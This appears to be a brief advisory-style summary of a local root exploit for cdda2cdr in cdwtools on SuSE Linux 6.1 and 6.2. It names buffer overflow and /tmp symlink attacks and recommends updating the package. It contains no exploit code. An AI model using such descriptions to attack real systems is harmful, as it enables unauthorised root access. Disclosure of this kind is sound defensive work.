Linux x86 cdda2cdr local disk exploit

The linux version of cdwtools, which ships with S.u.S.E linux 6.1 and 6.2, is vulnerable to several local root compromises. It is known that there are a number of ways to exploit these packages, including buffer overflows and /tmp symlink attacks. This exploit is a shell script for Linux x86 cdda2cdr exploit which uses a buffer overflow to gain root access.

Mitigation:

Update to the latest version of cdwtools.
